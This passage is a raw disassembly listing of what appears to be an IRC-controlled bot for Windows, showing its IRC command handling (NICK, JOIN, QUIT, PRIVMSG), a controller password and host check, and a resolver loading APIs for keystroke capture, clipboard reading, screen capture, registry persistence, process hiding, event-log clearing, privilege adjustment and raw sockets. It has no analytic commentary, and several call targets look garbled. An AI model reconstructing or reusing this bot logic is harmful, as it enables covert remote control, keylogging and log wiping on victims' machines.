		pop	ecx
		jle	loc_401E94
		push	esi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_401E94
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	sub_409A2C
		pop	ecx
		pop	ecx
		push	1F4h
		nop
		call	near ptr 2690579h
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	dword_4CB00C
		push	[ebp+var_10]
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEC4[eax]
		nop
		call	near ptr 26A0E69h
		push	esi
		call	sub_41B779
		imul	eax, 234h
		push	esi
		mov	dword_43DEC4[eax], ebx
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_43DCB0[eax], bl
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_4095D5:				; CODE XREF: sub_401ACD+3DCBj
					; sub_401ACD+3DE0j
		push	[ebp+arg_10]
		push	offset aAll	; "all"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409641
		call	sub_40B2BF
		cmp	eax, ebx
		jle	short loc_4095FC
		push	eax
		push	offset unk_4296BC
		jmp	loc_408CDB
; ---------------------------------------------------------------------------

loc_4095FC:				; CODE XREF: sub_401ACD+7B22j
		push	offset unk_429694

loc_409601:				; CODE XREF: sub_401ACD+24F9j
					; sub_401ACD+2518j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_40960F:				; CODE XREF: sub_401ACD+721Dj
		cmp	[ebp+var_8], ebx
		jnz	short loc_409630
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]

loc_409628:				; CODE XREF: sub_401ACD+6DB4j
		call	sub_409A72
		add	esp, 14h

loc_409630:				; CODE XREF: sub_401ACD+26F6j
					; sub_401ACD+2721j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		jmp	loc_40207D
; ---------------------------------------------------------------------------

loc_409641:				; CODE XREF: sub_401ACD+7B19j
		mov	eax, [ebp+var_AC]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_401E94
		lea	eax, [ebp+edi*4+var_90]
		mov	[ebp+arg_24], eax

loc_40965D:				; CODE XREF: sub_401ACD+7C01j
		mov	eax, [ebp+arg_24]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_401E94
		push	esi
		call	sub_41B779
		push	eax
		call	sub_40B231
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_409684
		push	offset unk_429670
		jmp	short loc_409689
; ---------------------------------------------------------------------------

loc_409684:				; CODE XREF: sub_401ACD+7BAEj
		push	offset unk_429644

loc_409689:				; CODE XREF: sub_401ACD+7BB5j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4096B9
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_4096B9:				; CODE XREF: sub_401ACD+7BCEj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		add	[ebp+arg_24], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_40965D
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_4096D5:				; CODE XREF: sub_401ACD+3DA1j
					; sub_401ACD+3DB6j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		push	esi
		push	offset dword_429DB0
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	offset dword_429628
		jmp	loc_40984D
; ---------------------------------------------------------------------------

loc_409711:				; CODE XREF: sub_401ACD+3D77j
					; sub_401ACD+3D8Cj
		push	[ebp+arg_10]
		push	offset dword_429D14
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_429604
		jmp	loc_40984D
; ---------------------------------------------------------------------------

loc_409731:				; CODE XREF: sub_401ACD+3D4Dj
					; sub_401ACD+3D62j
		push	[ebp+esi+var_88]
		push	[ebp+arg_10]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset unk_4295E0
		jmp	loc_40984D
; ---------------------------------------------------------------------------

loc_409758:				; CODE XREF: sub_401ACD+3D23j
					; sub_401ACD+3D38j
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_4295BC
		jmp	loc_40984D
; ---------------------------------------------------------------------------

loc_409778:				; CODE XREF: sub_401ACD+3163j
					; sub_401ACD+3178j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_429598
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h

loc_4097B2:				; CODE XREF: sub_401ACD+7D33j
		push	eax
		nop
		call	near ptr 2690579h

loc_4097B9:				; CODE XREF: sub_401ACD+2AA2j
		xor	eax, eax
		jmp	loc_401E97
; ---------------------------------------------------------------------------

loc_4097C0:				; CODE XREF: sub_401ACD+3139j
					; sub_401ACD+314Ej
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_429570
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		imul	eax, 3E8h
		jmp	short loc_4097B2
; ---------------------------------------------------------------------------

loc_409802:				; CODE XREF: sub_401ACD+EC8j
					; sub_401ACD+EDDj
		push	[ebp+esi+var_8C]
		xor	eax, eax
		cmp	[ebp+var_8F0], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_338]
		push	dword_42909C
		push	eax
		call	sub_40B08D
		add	esp, 10h
		lea	eax, [ebp+var_338]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		lea	eax, [ebp+var_338]
		push	eax
		push	offset unk_42954C

loc_40984D:				; CODE XREF: sub_401ACD+70B4j
					; sub_401ACD+778Aj ...
		call	sub_415220
		pop	ecx

loc_409853:				; CODE XREF: sub_401ACD+6CB9j
		pop	ecx

loc_409854:				; CODE XREF: sub_401ACD+659j
					; sub_401ACD+665j ...
		mov	eax, [ebp+arg_24]
		jmp	loc_401E97
; ---------------------------------------------------------------------------

loc_40985C:				; CODE XREF: sub_401ACD+AB5j
					; sub_401ACD+AC8j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_10], esi
		jz	loc_401E94
		cmp	[ebp+var_A4], ebx
		jnz	loc_401E94
		push	offset asc_42CA28 ; "!"
		push	[ebp+var_90]
		call	sub_41C0F4
		mov	esi, eax
		push	offset dword_4CAE2C
		push	ebx
		inc	esi
		call	sub_41C0F4
		push	offset asc_429548 ; "~"
		push	eax
		call	sub_41C0F4
		push	[ebp+arg_10]
		mov	edi, eax
		push	offset aCool	; "cool"
		call	sub_41C070
		add	esp, 20h
		test	eax, eax
		jz	short loc_4098FB
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_4294C8
		jmp	loc_40240A
; ---------------------------------------------------------------------------

loc_4098FB:				; CODE XREF: sub_401ACD+7DEAj
		mov	[ebp+arg_24], offset off_429160

loc_409902:				; CODE XREF: sub_401ACD+7E51j
		mov	eax, [ebp+arg_24]
		push	edi
		push	dword ptr [eax]
		call	sub_40B44F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409962
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], offset off_429164
		jb	short loc_409902
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_429474
		jmp	loc_40240A
; ---------------------------------------------------------------------------

loc_409962:				; CODE XREF: sub_401ACD+7E44j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_409967:				; CODE XREF: sub_401ACD+7EC4j
		cmp	[ebp+arg_10], ebx
		jz	loc_401E94
		cmp	[edi], bl
		jnz	short loc_409987
		push	[ebp+arg_10]
		push	offset aCool	; "cool"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409998

loc_409987:				; CODE XREF: sub_401ACD+7EA5j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_409967
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_409998:				; CODE XREF: sub_401ACD+7EB8j
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_E00]
		push	7Fh
		push	eax
		push	esi
		call	sub_41B5F0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4099CF
		push	ebx
		push	[ebp+var_4]
		push	offset unk_429454
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_4099CF:				; CODE XREF: sub_401ACD+7EE6j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_429434
		jmp	loc_402077
; ---------------------------------------------------------------------------

loc_4099E0:				; CODE XREF: sub_401ACD+20Ej
					; sub_401ACD+223j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	offset aXI	; "-x+i"
		push	[ebp+arg_10]
		push	offset aModeSS_0 ; "MODE %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		mov	dword_4CAE24, edi
		jmp	loc_401D6A
sub_401ACD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409A2C	proc near		; CODE XREF: sub_401955+3Dp
					; sub_401ACD+1CBp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_41C190
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFC4
		leave
		retn
sub_409A2C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409A72	proc near		; CODE XREF: sub_401ACD+518p
					; sub_401ACD+137Dp ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_409A8D
		mov	edi, offset aPrivmsg ; "PRIVMSG"

loc_409A8D:				; CODE XREF: sub_409A72+14j
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_41AFE0
		pop	ecx
		sub	esi, eax
		pop	ecx
		lea	eax, [ebp+var_400]
		push	[ebp+arg_8]
		push	offset aS_1	; "%s"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset aSSS_0	; "%s %s :%s\r\n"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFC4
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_409B10
		push	7D0h
		nop
		call	near ptr 2690579h

locret_409B10:				; CODE XREF: sub_409A72+91j
		leave
		retn
sub_409A72	endp


; =============== S U B	R O U T	I N E =======================================



sub_409B12	proc near		; CODE XREF: ___:0040126Cp
		push	ebx
		push	ebp
		mov	ebp, dword_42709C
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp
		mov	esi, dword_4270BC
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_409C32
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_4CB020, eax
		call	esi
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_4CAF94, eax
		call	esi
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_4CAF78, eax
		call	esi
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_4CAE88, eax
		call	esi
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_4CAE34, eax
		call	esi
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_4CAE64, eax
		call	esi
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_4CAEDC, eax
		call	esi
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_4CAFD4, eax
		call	esi
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_4CB030, eax
		call	esi
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_4CAE94, eax
		call	esi
		cmp	dword_4CB020, ebx
		mov	dword_4CAE7C, eax
		jz	short loc_409C10
		cmp	dword_4CAF94, ebx
		jz	short loc_409C10
		cmp	dword_4CAF78, ebx
		jz	short loc_409C10
		cmp	dword_4CAE88, ebx
		jz	short loc_409C10
		cmp	dword_4CAE64, ebx
		jz	short loc_409C10
		cmp	dword_4CAEDC, ebx
		jz	short loc_409C10
		cmp	dword_4CAFD4, ebx
		jz	short loc_409C10
		cmp	dword_4CB030, ebx
		jz	short loc_409C10
		cmp	dword_4CAE94, ebx
		jz	short loc_409C10
		cmp	eax, ebx
		jnz	short loc_409C1A

loc_409C10:				; CODE XREF: sub_409B12+B8j
					; sub_409B12+C0j ...
		mov	dword_4CB034, 1

loc_409C1A:				; CODE XREF: sub_409B12+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4CAFAC, eax
		jz	short loc_409C47
		push	1
		push	ebx
		call	eax
		jmp	short loc_409C47
; ---------------------------------------------------------------------------

loc_409C32:				; CODE XREF: sub_409B12+1Dj
		call	near ptr 2690CE2h
		nop
		mov	dword_4CB038, eax
		mov	dword_4CB034, 1

loc_409C47:				; CODE XREF: sub_409B12+117j
					; sub_409B12+11Ej
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 26B0C66h
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409D5C
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_4CAFD0, eax
		call	esi
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_4CAF80, eax
		call	esi
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_4CAF14, eax
		call	esi
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_4CB024, eax
		call	esi
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_4CAF44, eax
		call	esi
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_4CAF64, eax
		call	esi
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_4CAFC8, eax
		call	esi
		cmp	dword_4CAFD0, ebx
		mov	dword_4CAEB4, eax
		jz	short loc_409D00
		cmp	dword_4CAF80, ebx
		jz	short loc_409D00
		cmp	dword_4CAF14, ebx
		jz	short loc_409D00
		cmp	dword_4CB024, ebx
		jz	short loc_409D00
		cmp	dword_4CAF44, ebx
		jz	short loc_409D00
		cmp	dword_4CAF64, ebx
		jz	short loc_409D00
		cmp	dword_4CAFC8, ebx
		jz	short loc_409D00
		cmp	eax, ebx
		jnz	short loc_409D0A

loc_409D00:				; CODE XREF: sub_409B12+1B8j
					; sub_409B12+1C0j ...
		mov	dword_4CB03C, 1

loc_409D0A:				; CODE XREF: sub_409B12+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_4CAF40, eax
		call	esi
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_4CAE48, eax
		call	esi
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_4CAF10, eax
		call	esi
		cmp	dword_4CAF40, ebx
		mov	dword_4CAEF8, eax
		jz	short loc_409D67
		cmp	dword_4CAE48, ebx
		jz	short loc_409D67
		cmp	dword_4CAF10, ebx
		jz	short loc_409D67
		cmp	eax, ebx
		jnz	short loc_409D71
		jmp	short loc_409D67
; ---------------------------------------------------------------------------

loc_409D5C:				; CODE XREF: sub_409B12+144j
		nop
		call	near ptr 2690CE2h
		mov	dword_4CB040, eax

loc_409D67:				; CODE XREF: sub_409B12+232j
					; sub_409B12+23Aj ...
		mov	dword_4CB03C, 1

loc_409D71:				; CODE XREF: sub_409B12+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409F2A
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_4CAFE4, eax
		call	esi
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_4CAF28, eax
		call	esi
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_4CAF98, eax
		call	esi
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_4CAE74, eax
		call	esi
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_4CAED8, eax
		call	esi
		push	offset aOpeneventloga ;	"OpenEventLogA"
		push	edi
		mov	dword_4CAF50, eax
		call	esi
		push	offset aCleareventloga ; "ClearEventLogA"
		push	edi
		mov	dword_4CAEF4, eax
		call	esi
		cmp	dword_4CAFE4, ebx
		mov	dword_4CAF04, eax
		jz	short loc_409E1A
		cmp	dword_4CAF28, ebx
		jz	short loc_409E1A
		cmp	dword_4CAF98, ebx
		jz	short loc_409E1A
		cmp	dword_4CAE74, ebx
		jz	short loc_409E1A
		cmp	dword_4CAED8, ebx
		jz	short loc_409E1A
		cmp	dword_4CAF50, ebx
		jnz	short loc_409E24

loc_409E1A:				; CODE XREF: sub_409B12+2DEj
					; sub_409B12+2E6j ...
		mov	dword_4CB044, 1

loc_409E24:				; CODE XREF: sub_409B12+306j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_4CAF58, eax
		call	esi
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_4CAF30, eax
		call	esi
		cmp	dword_4CAF58, ebx
		mov	dword_4CAFE0, eax
		jz	short loc_409E5F
		cmp	dword_4CAF30, ebx
		jz	short loc_409E5F
		cmp	eax, ebx
		jnz	short loc_409E69

loc_409E5F:				; CODE XREF: sub_409B12+33Fj
					; sub_409B12+347j
		mov	dword_4CB044, 1

loc_409E69:				; CODE XREF: sub_409B12+34Bj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_4CAF68, eax
		call	esi
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_4CAE50, eax
		call	esi
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_4CAE58, eax
		call	esi
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_4CAEBC, eax
		call	esi
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_4CAEC0, eax
		call	esi
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_4CAE6C, eax
		call	esi
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_4CAF34, eax
		call	esi
		cmp	dword_4CAF68, ebx
		mov	dword_4CAE5C, eax
		jz	short loc_409F0D
		cmp	dword_4CAE50, ebx
		jz	short loc_409F0D
		cmp	dword_4CAE58, ebx
		jz	short loc_409F0D
		cmp	dword_4CAEBC, ebx
		jz	short loc_409F0D
		cmp	dword_4CAEC0, ebx
		jz	short loc_409F0D
		cmp	dword_4CAE6C, ebx
		jz	short loc_409F0D
		cmp	dword_4CAF34, ebx
		jz	short loc_409F0D
		cmp	eax, ebx
		jnz	short loc_409F17

loc_409F0D:				; CODE XREF: sub_409B12+3C5j
					; sub_409B12+3CDj ...
		mov	dword_4CB044, 1

loc_409F17:				; CODE XREF: sub_409B12+3F9j
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4CAE54, eax
		jnz	short loc_409F3F
		jmp	short loc_409F35
; ---------------------------------------------------------------------------

loc_409F2A:				; CODE XREF: sub_409B12+26Aj
		nop
		call	near ptr 2690CE2h
		mov	dword_4CB048, eax

loc_409F35:				; CODE XREF: sub_409B12+416j
		mov	dword_4CB044, 1

loc_409F3F:				; CODE XREF: sub_409B12+414j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A00B
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_4CAF60, eax
		call	esi
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_4CAFB8, eax
		call	esi
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_4CAFC0, eax
		call	esi
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_4CAF7C, eax
		call	esi
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_4CAE98, eax
		call	esi
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_4CAE44, eax
		call	esi
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_4CAFBC, eax
		call	esi
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_4CAE30, eax
		call	esi
		cmp	dword_4CAF60, ebx
		mov	dword_4CAED0, eax
		jz	short loc_40A016
		cmp	dword_4CAFB8, ebx
		jz	short loc_40A016
		cmp	dword_4CAFC0, ebx
		jz	short loc_40A016
		cmp	dword_4CAF7C, ebx
		jz	short loc_40A016
		cmp	dword_4CAE98, ebx
		jz	short loc_40A016
		cmp	dword_4CAE44, ebx
		jz	short loc_40A016
		cmp	dword_4CAFBC, ebx
		jz	short loc_40A016
		cmp	dword_4CAE30, ebx
		jz	short loc_40A016
		cmp	eax, ebx
		jnz	short loc_40A020
		jmp	short loc_40A016
; ---------------------------------------------------------------------------

loc_40A00B:				; CODE XREF: sub_409B12+438j
		nop
		call	near ptr 2690CE2h
		mov	dword_4CB050, eax

loc_40A016:				; CODE XREF: sub_409B12+4B9j
					; sub_409B12+4C1j ...
		mov	dword_4CB04C, 1

loc_40A020:				; CODE XREF: sub_409B12+4F5j
		mov	ebp, dword_4270B8
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A2DC
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_4CAEE4, eax
		call	esi
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_4CB018, eax
		call	esi
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_4CAE84, eax
		call	esi
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_4CAE60, eax
		call	esi
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_4CAF20, eax
		call	esi
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_4CAF08, eax
		call	esi
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_4CAECC, eax
		call	esi
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_4CAFF4, eax
		call	esi
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_4CB010, eax
		call	esi
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_4CAF1C, eax
		call	esi
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_4CB000, eax
		call	esi
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_4CAFB4, eax
		call	esi
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_4CAF74, eax
		call	esi
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_4CAF70, eax
		call	esi
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_4CAEA4, eax
		call	esi
		push	offset aSend	; "send"
		push	edi
		mov	dword_4CAE9C, eax
		call	esi
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_4CAFC4, eax
		call	esi
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_4CAFD8, eax
		call	esi
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_4CAF8C, eax
		call	esi
		mov	dword_4CAF4C, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi
		push	offset aSelect	; "select"
		push	edi
		mov	dword_4CAFA0, eax
		call	esi
		push	offset aListen	; "listen"
		push	edi
		mov	dword_4CAF5C, eax
		call	esi
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_4CAF9C, eax
		call	esi
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_4CB008, eax
		call	esi
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_4CAF54, eax
		call	esi
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_4CAF18, eax
		call	esi
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_4CAF88, eax
		call	esi
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_4CAFF8, eax
		call	esi
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_4CAF2C, eax
		call	esi
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_4CAEC8, eax
		call	esi
		cmp	dword_4CAEE4, ebx
		mov	dword_4CB00C, eax
		jz	loc_40A2E7
		cmp	dword_4CB018, ebx
		jz	loc_40A2E7
		cmp	dword_4CAE84, ebx
		jz	loc_40A2E7
		cmp	dword_4CAF20, ebx
		jz	loc_40A2E7
		cmp	dword_4CAF08, ebx
		jz	loc_40A2E7
		cmp	dword_4CAECC, ebx
		jz	loc_40A2E7
		cmp	dword_4CAFF4, ebx
		jz	loc_40A2E7
		cmp	dword_4CB010, ebx
		jz	loc_40A2E7
		cmp	dword_4CAF1C, ebx
		jz	loc_40A2E7
		cmp	dword_4CB000, ebx
		jz	loc_40A2E7
		cmp	dword_4CAFB4, ebx
		jz	loc_40A2E7
		cmp	dword_4CAF74, ebx
		jz	loc_40A2E7
		cmp	dword_4CAF70, ebx
		jz	loc_40A2E7
		cmp	dword_4CAEA4, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAFC4, ebx
